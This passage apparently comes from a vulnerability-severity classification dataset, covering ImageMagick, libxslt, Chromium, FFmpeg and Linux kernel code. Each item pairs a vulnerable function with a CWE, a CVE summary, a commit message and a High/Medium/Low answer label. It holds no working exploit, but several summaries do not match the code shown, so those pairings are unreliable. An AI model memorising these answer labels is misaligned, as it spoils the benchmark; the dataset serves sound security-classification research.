status=ReadPSDChannelRaw(channel_image,psd_info->channels, layer_info->channel_info[channel].type,exception); break; case RLE: { MagickOffsetType *sizes; sizes=ReadPSDRLESizes(channel_image,psd_info,channel_image->rows); if (sizes == (MagickOffsetType *) NULL) ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); status=ReadPSDChannelRLE(channel_image,psd_info, layer_info->channel_info[channel].type,sizes,exception); sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes); } break; case ZipWithPrediction: case ZipWithoutPrediction: #ifdef MAGICKCORE_ZLIB_DELEGATE status=ReadPSDChannelZip(channel_image,layer_info->channels, layer_info->channel_info[channel].type,compression, layer_info->channel_info[channel].size-2,exception); #else (void) ThrowMagickException(exception,GetMagickModule(), MissingDelegateWarning,"DelegateLibrarySupportNotBuiltIn", "'%s' (ZLIB)",image->filename); #endif break; default: (void) ThrowMagickException(exception,GetMagickModule(),TypeWarning, "CompressionNotSupported","'%.20g'",(double) compression); break; } SeekBlob(image,offset+layer_info->channel_info[channel].size-2,SEEK_SET); if (status == MagickFalse) { if (mask != (Image *) NULL) DestroyImage(mask); ThrowBinaryException(CoderError,"UnableToDecompressImage", image->filename); } layer_info->mask.image=mask; return(status); } Vulnerability Type: CWE ID: CWE-834 Summary: In coders/psd.c in ImageMagick 7.0.7-0 Q16, a DoS in ReadPSDLayersInternal() due to lack of an EOF (End of File) check might cause huge CPU consumption. When a crafted PSD file, which claims a large *length* field in the header but does not contain sufficient backing data, is provided, the loop over *length* would consume huge CPU resources, since there is no EOF check inside the loop. Commit Message: Slightly different fix for #714
High
170,016
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: xsltCompileIdKeyPattern(xsltParserContextPtr ctxt, xmlChar *name, int aid, int novar, xsltAxis axis) { xmlChar *lit = NULL; xmlChar *lit2 = NULL; if (CUR != '(') { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : ( expected\n"); ctxt->error = 1; return; } if ((aid) && (xmlStrEqual(name, (const xmlChar *)"id"))) { if (axis != 0) { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : NodeTest expected\n"); ctxt->error = 1; return; } NEXT; SKIP_BLANKS; lit = xsltScanLiteral(ctxt); if (ctxt->error) { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : Literal expected\n"); return; } SKIP_BLANKS; if (CUR != ')') { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : ) expected\n"); xmlFree(lit); ctxt->error = 1; return; } NEXT; PUSH(XSLT_OP_ID, lit, NULL, novar); lit = NULL; } else if ((aid) && (xmlStrEqual(name, (const xmlChar *)"key"))) { if (axis != 0) { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : NodeTest expected\n"); ctxt->error = 1; return; } NEXT; SKIP_BLANKS; lit = xsltScanLiteral(ctxt); if (ctxt->error) { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : Literal expected\n"); return; } SKIP_BLANKS; if (CUR != ',') { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : , expected\n"); ctxt->error = 1; return; } NEXT; SKIP_BLANKS; lit2 = xsltScanLiteral(ctxt); if (ctxt->error) { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : Literal expected\n"); xmlFree(lit); return; } SKIP_BLANKS; if (CUR != ')') { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : ) expected\n"); xmlFree(lit); xmlFree(lit2); ctxt->error = 1; return; } NEXT; /* URGENT TODO: support namespace in keys */ PUSH(XSLT_OP_KEY, lit, lit2, novar); lit = NULL; lit2 = NULL; } else if (xmlStrEqual(name, (const xmlChar *)"processing-instruction")) { NEXT; SKIP_BLANKS; if (CUR != ')') { lit = xsltScanLiteral(ctxt); if (ctxt->error) { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : Literal expected\n"); return; } SKIP_BLANKS; if (CUR != ')') { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : ) expected\n"); ctxt->error = 1; return; } } NEXT; PUSH(XSLT_OP_PI, lit, NULL, novar); lit = NULL; } else if (xmlStrEqual(name, (const xmlChar *)"text")) { NEXT; SKIP_BLANKS; if (CUR != ')') { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : ) expected\n"); ctxt->error = 1; return; } NEXT; PUSH(XSLT_OP_TEXT, NULL, NULL, novar); } else if (xmlStrEqual(name, (const xmlChar *)"comment")) { NEXT; SKIP_BLANKS; if (CUR != ')') { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : ) expected\n"); ctxt->error = 1; return; } NEXT; PUSH(XSLT_OP_COMMENT, NULL, NULL, novar); } else if (xmlStrEqual(name, (const xmlChar *)"node")) { NEXT; SKIP_BLANKS; if (CUR != ')') { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : ) expected\n"); ctxt->error = 1; return; } NEXT; if (axis == AXIS_ATTRIBUTE) { PUSH(XSLT_OP_ATTR, NULL, NULL, novar); } else { PUSH(XSLT_OP_NODE, NULL, NULL, novar); } } else if (aid) { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : expecting 'key' or 'id' or node type\n"); ctxt->error = 1; return; } else { xsltTransformError(NULL, NULL, NULL, "xsltCompileIdKeyPattern : node type\n"); ctxt->error = 1; return; } error: return; } Vulnerability Type: DoS Overflow CWE ID: CWE-119 Summary: numbers.c in libxslt before 1.1.29, as used in Google Chrome before 51.0.2704.63, mishandles namespace nodes, which allows remote attackers to cause a denial of service (out-of-bounds heap memory access) or possibly have unspecified other impact via a crafted document. Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7 BUG=583156,583171 Review URL: https://codereview.chromium.org/1853083002 Cr-Commit-Position: refs/heads/master@{#385338}
Medium
173,311
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: WebNotificationData createWebNotificationData(ExecutionContext* executionContext, const String& title, const NotificationOptions& options, ExceptionState& exceptionState) { if (options.hasVibrate() && options.silent()) { exceptionState.throwTypeError("Silent notifications must not specify vibration patterns."); return WebNotificationData(); } WebNotificationData webData; webData.title = title; webData.direction = toDirectionEnumValue(options.dir()); webData.lang = options.lang(); webData.body = options.body(); webData.tag = options.tag(); KURL iconUrl; iconUrl = executionContext->completeURL(options.icon()); if (!iconUrl.isValid()) iconUrl = KURL(); } webData.icon = iconUrl; webData.vibrate = NavigatorVibration::sanitizeVibrationPattern(options.vibrate()); webData.timestamp = options.hasTimestamp() ? static_cast<double>(options.timestamp()) : WTF::currentTimeMS(); webData.silent = options.silent(); webData.requireInteraction = options.requireInteraction(); if (options.hasData()) { RefPtr<SerializedScriptValue> serializedScriptValue = SerializedScriptValueFactory::instance().create(options.data().isolate(), options.data(), nullptr, exceptionState); if (exceptionState.hadException()) return WebNotificationData(); Vector<char> serializedData; serializedScriptValue->toWireBytes(serializedData); webData.data = serializedData; } Vector<WebNotificationAction> actions; const size_t maxActions = Notification::maxActions(); for (const NotificationAction& action : options.actions()) { if (actions.size() >= maxActions) break; WebNotificationAction webAction; webAction.action = action.action(); webAction.title = action.title(); actions.append(webAction); } webData.actions = actions; return webData; } Vulnerability Type: DoS CWE ID: Summary: Multiple unspecified vulnerabilities in Google Chrome before 35.0.1916.114 allow attackers to cause a denial of service or possibly have other impact via unknown vectors. Commit Message: Notification actions may have an icon url. This is behind a runtime flag for two reasons: * The implementation is incomplete. * We're still evaluating the API design. Intent to Implement and Ship: Notification Action Icons https://groups.google.com/a/chromium.org/d/msg/blink-dev/IM0HxOP7HOA/y8tu6iq1CgAJ BUG=581336 Review URL: https://codereview.chromium.org/1644573002 Cr-Commit-Position: refs/heads/master@{#374649}
High
171,634
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: error::Error GLES2DecoderPassthroughImpl::ProcessQueries(bool did_finish) { while (!pending_queries_.empty()) { const PendingQuery& query = pending_queries_.front(); GLuint result_available = GL_FALSE; GLuint64 result = 0; switch (query.target) { case GL_COMMANDS_COMPLETED_CHROMIUM: DCHECK(query.commands_completed_fence != nullptr); result_available = did_finish || query.commands_completed_fence->HasCompleted(); result = result_available; break; case GL_COMMANDS_ISSUED_CHROMIUM: result_available = GL_TRUE; result = GL_TRUE; break; case GL_LATENCY_QUERY_CHROMIUM: result_available = GL_TRUE; result = (base::TimeTicks::Now() - base::TimeTicks()).InMilliseconds(); break; case GL_ASYNC_PIXEL_PACK_COMPLETED_CHROMIUM: result_available = GL_TRUE; result = GL_TRUE; for (const PendingReadPixels& pending_read_pixels : pending_read_pixels_) { if (pending_read_pixels.waiting_async_pack_queries.count( query.service_id) > 0) { DCHECK(!did_finish); result_available = GL_FALSE; result = GL_FALSE; break; } } break; case GL_READBACK_SHADOW_COPIES_UPDATED_CHROMIUM: DCHECK(query.buffer_shadow_update_fence); if (did_finish || query.buffer_shadow_update_fence->HasCompleted()) { ReadBackBuffersIntoShadowCopies(query.buffer_shadow_updates); result_available = GL_TRUE; result = 0; } break; case GL_GET_ERROR_QUERY_CHROMIUM: result_available = GL_TRUE; FlushErrors(); result = PopError(); break; default: DCHECK(!IsEmulatedQueryTarget(query.target)); if (did_finish) { result_available = GL_TRUE; } else { api()->glGetQueryObjectuivFn( query.service_id, GL_QUERY_RESULT_AVAILABLE, &result_available); } if (result_available == GL_TRUE) { if (feature_info_->feature_flags().ext_disjoint_timer_query) { api()->glGetQueryObjectui64vFn(query.service_id, GL_QUERY_RESULT, &result); } else { GLuint temp_result = 0; api()->glGetQueryObjectuivFn(query.service_id, GL_QUERY_RESULT, &temp_result); result = temp_result; } } break; } if (!result_available) { break; } query.sync->result = result; base::subtle::Release_Store(&query.sync->process_count, query.submit_count); pending_queries_.pop_front(); } DCHECK(!did_finish || pending_queries_.empty()); return error::kNoError; } Vulnerability Type: CWE ID: CWE-416 Summary: A heap use after free in V8 in Google Chrome prior to 55.0.2883.75 for Mac, Windows and Linux, and 55.0.2883.84 for Android allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM This makes the query of GL_COMPLETION_STATUS_KHR to programs much cheaper by minimizing the round-trip to the GPU thread. Bug: 881152, 957001 Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630 Commit-Queue: Kenneth Russell <[email protected]> Reviewed-by: Kentaro Hara <[email protected]> Reviewed-by: Geoff Lang <[email protected]> Reviewed-by: Kenneth Russell <[email protected]> Cr-Commit-Position: refs/heads/master@{#657568}
Medium
172,531
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void HTMLDocument::addItemToMap(HashCountedSet<StringImpl*>& map, const AtomicString& name) { if (name.isEmpty()) return; map.add(name.impl()); if (Frame* f = frame()) f->script()->namedItemAdded(this, name); } Vulnerability Type: DoS CWE ID: CWE-399 Summary: Use-after-free vulnerability in Google Chrome before 31.0.1650.48 allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors involving the string values of id attributes. Commit Message: Fix tracking of the id attribute string if it is shared across elements. The patch to remove AtomicStringImpl: http://src.chromium.org/viewvc/blink?view=rev&rev=154790 Exposed a lifetime issue with strings for id attributes. We simply need to use AtomicString. BUG=290566 Review URL: https://codereview.chromium.org/33793004 git-svn-id: svn://svn.chromium.org/blink/trunk@160250 bbb929c8-8fbe-4397-9dbb-9b2b20218538
High
171,156
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static int get_siz(Jpeg2000DecoderContext *s) { int i; int ncomponents; uint32_t log2_chroma_wh = 0; const enum AVPixelFormat *possible_fmts = NULL; int possible_fmts_nb = 0; if (bytestream2_get_bytes_left(&s->g) < 36) return AVERROR_INVALIDDATA; s->avctx->profile = bytestream2_get_be16u(&s->g); // Rsiz s->width = bytestream2_get_be32u(&s->g); // Width s->height = bytestream2_get_be32u(&s->g); // Height s->image_offset_x = bytestream2_get_be32u(&s->g); // X0Siz s->image_offset_y = bytestream2_get_be32u(&s->g); // Y0Siz s->tile_width = bytestream2_get_be32u(&s->g); // XTSiz s->tile_height = bytestream2_get_be32u(&s->g); // YTSiz s->tile_offset_x = bytestream2_get_be32u(&s->g); // XT0Siz s->tile_offset_y = bytestream2_get_be32u(&s->g); // YT0Siz ncomponents = bytestream2_get_be16u(&s->g); // CSiz if (ncomponents <= 0) { av_log(s->avctx, AV_LOG_ERROR, "Invalid number of components: %d\n", s->ncomponents); return AVERROR_INVALIDDATA; } if (ncomponents > 4) { avpriv_request_sample(s->avctx, "Support for %d components", s->ncomponents); return AVERROR_PATCHWELCOME; } s->ncomponents = ncomponents; if (s->tile_width <= 0 || s->tile_height <= 0) { av_log(s->avctx, AV_LOG_ERROR, "Invalid tile dimension %dx%d.\n", s->tile_width, s->tile_height); return AVERROR_INVALIDDATA; } if (bytestream2_get_bytes_left(&s->g) < 3 * s->ncomponents) return AVERROR_INVALIDDATA; for (i = 0; i < s->ncomponents; i++) { // Ssiz_i XRsiz_i, YRsiz_i uint8_t x = bytestream2_get_byteu(&s->g); s->cbps[i] = (x & 0x7f) + 1; s->precision = FFMAX(s->cbps[i], s->precision); s->sgnd[i] = !!(x & 0x80); s->cdx[i] = bytestream2_get_byteu(&s->g); s->cdy[i] = bytestream2_get_byteu(&s->g); if ( !s->cdx[i] || s->cdx[i] == 3 || s->cdx[i] > 4 || !s->cdy[i] || s->cdy[i] == 3 || s->cdy[i] > 4) { av_log(s->avctx, AV_LOG_ERROR, "Invalid sample separation %d/%d\n", s->cdx[i], s->cdy[i]); return AVERROR_INVALIDDATA; } log2_chroma_wh |= s->cdy[i] >> 1 << i * 4 | s->cdx[i] >> 1 << i * 4 + 2; } s->numXtiles = ff_jpeg2000_ceildiv(s->width - s->tile_offset_x, s->tile_width); s->numYtiles = ff_jpeg2000_ceildiv(s->height - s->tile_offset_y, s->tile_height); if (s->numXtiles * (uint64_t)s->numYtiles > INT_MAX/sizeof(*s->tile)) { s->numXtiles = s->numYtiles = 0; return AVERROR(EINVAL); } s->tile = av_mallocz_array(s->numXtiles * s->numYtiles, sizeof(*s->tile)); if (!s->tile) { s->numXtiles = s->numYtiles = 0; return AVERROR(ENOMEM); } for (i = 0; i < s->numXtiles * s->numYtiles; i++) { Jpeg2000Tile *tile = s->tile + i; tile->comp = av_mallocz(s->ncomponents * sizeof(*tile->comp)); if (!tile->comp) return AVERROR(ENOMEM); } /* compute image size with reduction factor */ s->avctx->width = ff_jpeg2000_ceildivpow2(s->width - s->image_offset_x, s->reduction_factor); s->avctx->height = ff_jpeg2000_ceildivpow2(s->height - s->image_offset_y, s->reduction_factor); if (s->avctx->profile == FF_PROFILE_JPEG2000_DCINEMA_2K || s->avctx->profile == FF_PROFILE_JPEG2000_DCINEMA_4K) { possible_fmts = xyz_pix_fmts; possible_fmts_nb = FF_ARRAY_ELEMS(xyz_pix_fmts); } else { switch (s->colour_space) { case 16: possible_fmts = rgb_pix_fmts; possible_fmts_nb = FF_ARRAY_ELEMS(rgb_pix_fmts); break; case 17: possible_fmts = gray_pix_fmts; possible_fmts_nb = FF_ARRAY_ELEMS(gray_pix_fmts); break; case 18: possible_fmts = yuv_pix_fmts; possible_fmts_nb = FF_ARRAY_ELEMS(yuv_pix_fmts); break; default: possible_fmts = all_pix_fmts; possible_fmts_nb = FF_ARRAY_ELEMS(all_pix_fmts); break; } } for (i = 0; i < possible_fmts_nb; ++i) { if (pix_fmt_match(possible_fmts[i], ncomponents, s->precision, log2_chroma_wh, s->pal8)) { s->avctx->pix_fmt = possible_fmts[i]; break; } } if (s->avctx->pix_fmt == AV_PIX_FMT_NONE) { av_log(s->avctx, AV_LOG_ERROR, "Unknown pix_fmt, profile: %d, colour_space: %d, " "components: %d, precision: %d, " "cdx[1]: %d, cdy[1]: %d, cdx[2]: %d, cdy[2]: %d\n", s->avctx->profile, s->colour_space, ncomponents, s->precision, ncomponents > 2 ? s->cdx[1] : 0, ncomponents > 2 ? s->cdy[1] : 0, ncomponents > 2 ? s->cdx[2] : 0, ncomponents > 2 ? s->cdy[2] : 0); } s->avctx->bits_per_raw_sample = s->precision; return 0; } Vulnerability Type: DoS Overflow CWE ID: CWE-119 Summary: The get_siz function in libavcodec/jpeg2000dec.c in FFmpeg before 2.1 does not prevent attempts to use non-zero image offsets, which allows remote attackers to cause a denial of service (out-of-bounds array access) or possibly have unspecified other impact via crafted JPEG2000 data. Commit Message: avcodec/jpeg2000dec: non zero image offsets are not supported Fixes out of array accesses Fixes Ticket3080 Found-by: ami_stuff Signed-off-by: Michael Niedermayer <[email protected]>
Medium
165,927
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void ForeignSessionHelper::SetInvalidationsForSessionsEnabled( JNIEnv* env, const JavaParamRef<jobject>& obj, jboolean enabled) { browser_sync::ProfileSyncService* service = ProfileSyncServiceFactory::GetInstance()->GetForProfile(profile_); if (!service) return; service->SetInvalidationsForSessionsEnabled(enabled); } Vulnerability Type: CWE ID: CWE-254 Summary: Google Chrome before 53.0.2785.89 on Windows and OS X and before 53.0.2785.92 on Linux does not properly validate access to the initial document, which allows remote attackers to spoof the address bar via a crafted web site. Commit Message: Prefer SyncService over ProfileSyncService in foreign_session_helper SyncService is the interface, ProfileSyncService is the concrete implementation. Generally no clients should need to use the conrete implementation - for one, testing will be much easier once everyone uses the interface only. Bug: 924508 Change-Id: Ia210665f8f02512053d1a60d627dea0f22758387 Reviewed-on: https://chromium-review.googlesource.com/c/1461119 Auto-Submit: Marc Treib <[email protected]> Commit-Queue: Yaron Friedman <[email protected]> Reviewed-by: Yaron Friedman <[email protected]> Cr-Commit-Position: refs/heads/master@{#630662}
Medium
172,058
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static Image *ReadTTFImage(const ImageInfo *image_info,ExceptionInfo *exception) { char buffer[MaxTextExtent], *text; const char *Text = (char *) "abcdefghijklmnopqrstuvwxyz\n" "ABCDEFGHIJKLMNOPQRSTUVWXYZ\n" "0123456789.:,;(*!?}^)#${%^&-+@\n"; const TypeInfo *type_info; DrawInfo *draw_info; Image *image; MagickBooleanType status; PixelPacket background_color; register ssize_t i, x; register PixelPacket *q; ssize_t y; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); image->columns=800; image->rows=480; type_info=GetTypeInfo(image_info->filename,exception); if ((type_info != (const TypeInfo *) NULL) && (type_info->glyphs != (char *) NULL)) (void) CopyMagickString(image->filename,type_info->glyphs,MaxTextExtent); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Color canvas with background color */ background_color=image_info->background_color; for (y=0; y < (ssize_t) image->rows; y++) { q=QueueAuthenticPixels(image,0,y,image->columns,1,exception); if (q == (PixelPacket *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) *q++=background_color; if (SyncAuthenticPixels(image,exception) == MagickFalse) break; } (void) CopyMagickString(image->magick,image_info->magick,MaxTextExtent); (void) CopyMagickString(image->filename,image_info->filename,MaxTextExtent); /* Prepare drawing commands */ y=20; draw_info=CloneDrawInfo(image_info,(DrawInfo *) NULL); draw_info->font=AcquireString(image->filename); ConcatenateString(&draw_info->primitive,"push graphic-context\n"); (void) FormatLocaleString(buffer,MaxTextExtent," viewbox 0 0 %.20g %.20g\n", (double) image->columns,(double) image->rows); ConcatenateString(&draw_info->primitive,buffer); ConcatenateString(&draw_info->primitive," font-size 18\n"); (void) FormatLocaleString(buffer,MaxTextExtent," text 10,%.20g '",(double) y); ConcatenateString(&draw_info->primitive,buffer); text=EscapeString(Text,'"'); ConcatenateString(&draw_info->primitive,text); text=DestroyString(text); (void) FormatLocaleString(buffer,MaxTextExtent,"'\n"); ConcatenateString(&draw_info->primitive,buffer); y+=20*(ssize_t) MultilineCensus((char *) Text)+20; for (i=12; i <= 72; i+=6) { y+=i+12; ConcatenateString(&draw_info->primitive," font-size 18\n"); (void) FormatLocaleString(buffer,MaxTextExtent," text 10,%.20g '%.20g'\n", (double) y,(double) i); ConcatenateString(&draw_info->primitive,buffer); (void) FormatLocaleString(buffer,MaxTextExtent," font-size %.20g\n", (double) i); ConcatenateString(&draw_info->primitive,buffer); (void) FormatLocaleString(buffer,MaxTextExtent," text 50,%.20g " "'That which does not destroy me, only makes me stronger.'\n",(double) y); ConcatenateString(&draw_info->primitive,buffer); if (i >= 24) i+=6; } ConcatenateString(&draw_info->primitive,"pop graphic-context"); (void) DrawImage(image,draw_info); /* Relinquish resources. */ draw_info=DestroyDrawInfo(draw_info); (void) CloseBlob(image); return(GetFirstImageInList(image)); } Vulnerability Type: DoS Overflow CWE ID: CWE-119 Summary: Buffer overflow in the ReadVIFFImage function in coders/viff.c in ImageMagick before 6.9.4-5 allows remote attackers to cause a denial of service (application crash) via a crafted file. Commit Message:
Medium
168,612
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: static void sas_destruct_devices(struct work_struct *work) { struct domain_device *dev, *n; struct sas_discovery_event *ev = to_sas_discovery_event(work); struct asd_sas_port *port = ev->port; clear_bit(DISCE_DESTRUCT, &port->disc.pending); list_for_each_entry_safe(dev, n, &port->destroy_list, disco_list_node) { list_del_init(&dev->disco_list_node); sas_remove_children(&dev->rphy->dev); sas_rphy_delete(dev->rphy); sas_unregister_common_dev(port, dev); } } Vulnerability Type: DoS CWE ID: Summary: The Serial Attached SCSI (SAS) implementation in the Linux kernel through 4.15.9 mishandles a mutex within libsas, which allows local users to cause a denial of service (deadlock) by triggering certain error-handling code. Commit Message: scsi: libsas: direct call probe and destruct In commit 87c8331fcf72 ("[SCSI] libsas: prevent domain rediscovery competing with ata error handling") introduced disco mutex to prevent rediscovery competing with ata error handling and put the whole revalidation in the mutex. But the rphy add/remove needs to wait for the error handling which also grabs the disco mutex. This may leads to dead lock.So the probe and destruct event were introduce to do the rphy add/remove asynchronously and out of the lock. The asynchronously processed workers makes the whole discovery process not atomic, the other events may interrupt the process. For example, if a loss of signal event inserted before the probe event, the sas_deform_port() is called and the port will be deleted. And sas_port_delete() may run before the destruct event, but the port-x:x is the top parent of end device or expander. This leads to a kernel WARNING such as: [ 82.042979] sysfs group 'power' not found for kobject 'phy-1:0:22' [ 82.042983] ------------[ cut here ]------------ [ 82.042986] WARNING: CPU: 54 PID: 1714 at fs/sysfs/group.c:237 sysfs_remove_group+0x94/0xa0 [ 82.043059] Call trace: [ 82.043082] [<ffff0000082e7624>] sysfs_remove_group+0x94/0xa0 [ 82.043085] [<ffff00000864e320>] dpm_sysfs_remove+0x60/0x70 [ 82.043086] [<ffff00000863ee10>] device_del+0x138/0x308 [ 82.043089] [<ffff00000869a2d0>] sas_phy_delete+0x38/0x60 [ 82.043091] [<ffff00000869a86c>] do_sas_phy_delete+0x6c/0x80 [ 82.043093] [<ffff00000863dc20>] device_for_each_child+0x58/0xa0 [ 82.043095] [<ffff000008696f80>] sas_remove_children+0x40/0x50 [ 82.043100] [<ffff00000869d1bc>] sas_destruct_devices+0x64/0xa0 [ 82.043102] [<ffff0000080e93bc>] process_one_work+0x1fc/0x4b0 [ 82.043104] [<ffff0000080e96c0>] worker_thread+0x50/0x490 [ 82.043105] [<ffff0000080f0364>] kthread+0xfc/0x128 [ 82.043107] [<ffff0000080836c0>] ret_from_fork+0x10/0x50 Make probe and destruct a direct call in the disco and revalidate function, but put them outside the lock. The whole discovery or revalidate won't be interrupted by other events. And the DISCE_PROBE and DISCE_DESTRUCT event are deleted as a result of the direct call. Introduce a new list to destruct the sas_port and put the port delete after the destruct. This makes sure the right order of destroying the sysfs kobject and fix the warning above. In sas_ex_revalidate_domain() have a loop to find all broadcasted device, and sometimes we have a chance to find the same expander twice. Because the sas_port will be deleted at the end of the whole revalidate process, sas_port with the same name cannot be added before this. Otherwise the sysfs will complain of creating duplicate filename. Since the LLDD will send broadcast for every device change, we can only process one expander's revalidation. [mkp: kbuild test robot warning] Signed-off-by: Jason Yan <[email protected]> CC: John Garry <[email protected]> CC: Johannes Thumshirn <[email protected]> CC: Ewan Milne <[email protected]> CC: Christoph Hellwig <[email protected]> CC: Tomas Henzl <[email protected]> CC: Dan Williams <[email protected]> Reviewed-by: Hannes Reinecke <[email protected]> Signed-off-by: Martin K. Petersen <[email protected]>
Low
169,384
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
Code: void BiquadDSPKernel::updateCoefficientsIfNecessary(bool useSmoothing, bool forceUpdate) { if (forceUpdate || biquadProcessor()->filterCoefficientsDirty()) { double value1; double value2; double gain; double detune; // in Cents if (biquadProcessor()->hasSampleAccurateValues()) { value1 = biquadProcessor()->parameter1()->finalValue(); value2 = biquadProcessor()->parameter2()->finalValue(); gain = biquadProcessor()->parameter3()->finalValue(); detune = biquadProcessor()->parameter4()->finalValue(); } else if (useSmoothing) { value1 = biquadProcessor()->parameter1()->smoothedValue(); value2 = biquadProcessor()->parameter2()->smoothedValue(); gain = biquadProcessor()->parameter3()->smoothedValue(); detune = biquadProcessor()->parameter4()->smoothedValue(); } else { value1 = biquadProcessor()->parameter1()->value(); value2 = biquadProcessor()->parameter2()->value(); gain = biquadProcessor()->parameter3()->value(); detune = biquadProcessor()->parameter4()->value(); } double nyquist = this->nyquist(); double normalizedFrequency = value1 / nyquist; if (detune) normalizedFrequency *= pow(2, detune / 1200); switch (biquadProcessor()->type()) { case BiquadProcessor::LowPass: m_biquad.setLowpassParams(normalizedFrequency, value2); break; case BiquadProcessor::HighPass: m_biquad.setHighpassParams(normalizedFrequency, value2); break; case BiquadProcessor::BandPass: m_biquad.setBandpassParams(normalizedFrequency, value2); break; case BiquadProcessor::LowShelf: m_biquad.setLowShelfParams(normalizedFrequency, gain); break; case BiquadProcessor::HighShelf: m_biquad.setHighShelfParams(normalizedFrequency, gain); break; case BiquadProcessor::Peaking: m_biquad.setPeakingParams(normalizedFrequency, value2, gain); break; case BiquadProcessor::Notch: m_biquad.setNotchParams(normalizedFrequency, value2); break; case BiquadProcessor::Allpass: m_biquad.setAllpassParams(normalizedFrequency, value2); break; } } } Vulnerability Type: DoS Overflow CWE ID: CWE-119 Summary: modules/webaudio/BiquadDSPKernel.cpp in the Web Audio API implementation in Blink, as used in Google Chrome before 37.0.2062.94, does not properly consider concurrent threads during attempts to update biquad filter coefficients, which allows remote attackers to cause a denial of service (read of uninitialized memory) via crafted API calls. Commit Message: Initialize value since calculateFinalValues may fail to do so. Fix threading issue where updateCoefficientsIfNecessary was not always called from the audio thread. This causes the value not to be initialized. Thus, o Initialize the variable to some value, just in case. o Split updateCoefficientsIfNecessary into two functions with the code that sets the coefficients pulled out in to the new function updateCoefficients. o Simplify updateCoefficientsIfNecessary since useSmoothing was always true, and forceUpdate is not longer needed. o Add process lock to prevent the audio thread from updating the coefficients while they are being read in the main thread. The audio thread will update them the next time around. o Make getFrequencyResponse set the lock while reading the coefficients of the biquad in preparation for computing the frequency response. BUG=389219 Review URL: https://codereview.chromium.org/354213002 git-svn-id: svn://svn.chromium.org/blink/trunk@177250 bbb929c8-8fbe-4397-9dbb-9b2b20218538
Medium
171,662
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation.
